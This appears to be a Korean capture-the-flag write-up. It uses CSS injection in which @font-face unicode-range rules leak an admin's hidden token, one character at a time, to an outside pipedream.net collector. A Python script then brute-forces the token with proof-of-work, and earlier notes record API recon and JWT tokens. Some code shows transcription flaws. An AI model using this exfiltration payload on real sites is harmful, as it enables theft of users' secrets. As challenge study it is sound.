

2단계

계정 : icansolve / icansolve

css injection 가능 (csp style-src: * font-src: *)

```
1
2 ...
3
4 <link rel="stylesheet" href="http://141.223.175.203:5050/a.css"></p>
5 <hr />
6 <div class="alert alert-success" role="alert">We reviewed it, but it can't
  be accepted</div></div>
7 <span class="tracker-hidden">569ABCDEFHIJNPVXYZbefijklmoqtxyz</span>
8 </body>
9 ...
10
```

논문 페이지 안에 tracker 있음. 확인해보니 각 유저의 것이 나오는게 맞음. 어드민이 본다면 어드민의 tracker가 박히는 것임.

<link rel="stylesheet" href="http://141.223.175.203:5050/a.css"> 로 내 css 추가

```
1 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/0); unicode-
  range:U+0030; }
2 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/1); unicode-
  range:U+0031; }
3 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/2); unicode-
  range:U+0032; }
4 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/3); unicode-
  range:U+0033; }
5 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/4); unicode-
  range:U+0034; }
6 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/5); unicode-
  range:U+0035; }
7 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/6); unicode-
  range:U+0036; }
8 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/7); unicode-
  range:U+0037; }
9 @font-face{ font-family:poc; src:
  url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/9); unicode-
  range:U+0039; }
```

```

10 @font-face{ font-family:poc; src:
    url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/A); unicode-
    range:U+0041; }
11 @font-face{ font-family:poc; src:
    url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/B); unicode-
    range:U+0042; }
12
13 ...
14
15 @font-face{ font-family:poc; src:
    url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/x); unicode-
    range:U+0078; }
16 @font-face{ font-family:poc; src:
    url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/y); unicode-
    range:U+0079; }
17 @font-face{ font-family:poc; src:
    url(https://7e695058bd430b379699858be84c3f34.m.pipedream.net/z); unicode-
    range:U+007a; }
18 .tracker-hidden{ font-family:poc; display:block !important; }

```

https://wwzq.net/slides/2019-s3_css_injection_attacks.pdf:여기에 나온 기법 적용

추가로 할만한 것들

<https://github.com/cgwwzq/css-scrollbar-attack>

<https://gist.github.com/cgwwzq/6260f0f0a47c009c87b4d46ce3808231>

The screenshot displays a web browser interface. On the left, a list of network requests is shown, all with the method 'GET'. The paths include '/', '/d', '/Y', '/W', '/2', '/3', '/I', '/S', '/n', '/H', '/a', '/7', '/l', '/h', '/e', '/J', '/u', '/Q', '/g', '/N', '/L', '/t', '/q', '/y', '/z', '/1', '/X', '/p', '/0', '/i', '/o', and '/r'. The right panel provides a detailed view of a selected request (method: GET, path: /d). The headers section lists various request headers: accept: */*, accept-encoding: gzip, deflate, br, host: 7e695058bd430b379699858be84c3f34.m.pipedream.net, origin: http://localhost, referer: http://141.223.175.203:5050/a.css, sec-fetch-mode: cors, sec-fetch-site: cross-site, user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3835.0 Safari/537.36, x-amzn-trace-id: Root=1-5f5cb825-e81927be0c521126378a6568, x-forwarded-for: 3.35.121.198, x-forwarded-port: 443, x-forwarded-proto: https, method: GET, and path: /d. Below the headers, there is a section for 'INTEGRATIONS' with 'Workflows' and 'APIs' subsections. The 'Workflows' section has a 'CREATE WORKFLOW' button and a list of bullet points describing serverless workflows. The 'APIs' section has a heading and a description about managing sources and consuming event data.

그리고 나서 제출하면 token에 해당하는 글자들이 온다

https://pipedream.com/sources/dc_WbuEEB

하지만 31글자다. 분명히 32글자이어야 하는데, 31글자다.

```
1 OutzXqryhoawgdSMpL3i2e1Q7JNYIln
2 369BFGHLMNOPQRTVWZabcefhijlnpuxz
3 r0uqpyzthSWYxeidgoN3l2Q7IMJlnLa
```

3번을 시험했다. 31글자다.

정렬을 했다.

```
1 01237IJLMNQSXYadeghilnopqrtuyz
```

셋 다 똑같다. 실수라고 보긴 어려울 것 같다.

31글자라 32글자가 되기 위해 하나 중복이 있다고 밖에 생각할 수 없다.

```
1 import requests
2 import random
3 import hashlib
4 import string
5
6 def get_random_string(length):
7     letters = string.ascii_letters + string.digits
8     result_str = ''.join(random.choice(letters) for i in range(length))
9     return result_str
10
11 def Pow(target, start, end):
12     while True:
13         s = get_random_string(20)
14         h = hashlib.sha1(s).hexdigest()
15         if h[start:end] == target:
16             return s
17
18
19 s = "01237IJLMNQSXYadeghilnopqrtuyz"
20
21
22 url = "http://3.35.121.198:40831/vaccine.php"
23 coo = {"PHPSESSID":"tt13ib28spldb6o8o56cm18lk"}
24
25
26 r = requests.get(url, cookies=coo)
27 print(r.text)
28
29 for i in range(31):
30     c = s[i]
31     ss = s[:i] + c + s[i:]
32     print(ss)
33
34
35 t = r.text
36 t = t[t.index("==="):]
37 t = t[:t.index("</label>")]
38 t = t[4:]
39 print(t)
```

```

40
41     pow = PoW(t, 0, 6)
42     print(pow)
43
44     r = requests.post(url, cookies=coo, data={"code": ss, "pow": pow})
45     print(r.text)
46
47     print("=*40)
48

```

중복이 있는 각 경우에 대해 PoW를 넣어주는 스크립트를 작성해서 돌린다.

1단계

/api/static/{id} : mypage 볼때 request, 404

/api/get_info : mypage 볼때 request, {"perm": "Guest"} {"perm": "Member"}

/api/bss : 게시판

GET:

```
{"data": []}
```

POST: {"title": "sadd", body: "wqe"}

```
not enough permission
```

```
/api/signin: {userid: "aaaaaaaab", password: "bbbbbbbbbb"},
{"username": "aaaaaaaab", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFhYWFhYWFhYiIsImIhdCI6MTU5OTg4MjE3NX0.tjBANDcC-RePI9OwzmbSyZF_dhMsUqhjNSL8KBSKbUo"}

```

/api/signup : {userid: "aaaaaaaab", password: "bbbbbbbbbb"}, OK

/api/auth : {division_number: "zz"}

SQL injection? not likely, every input seems to be sanitized

admin / admin

guest(imnotkind) token :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imltbm90a2luZCI6ImIhdCI6MTU5OTg4NTg4M30.eyJKjfvsa2XdQjGgGVARJzvOjsV513BtabTFUs5iRGDY

member(admin) token :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluliwiaWF0IjoxNTk5ODg1MDQ1fQ.IA7kBW39hdlEL2jk41mh-wIF2sFGXSfayNvQEhw4BjU

모하라는건지 모르겠다.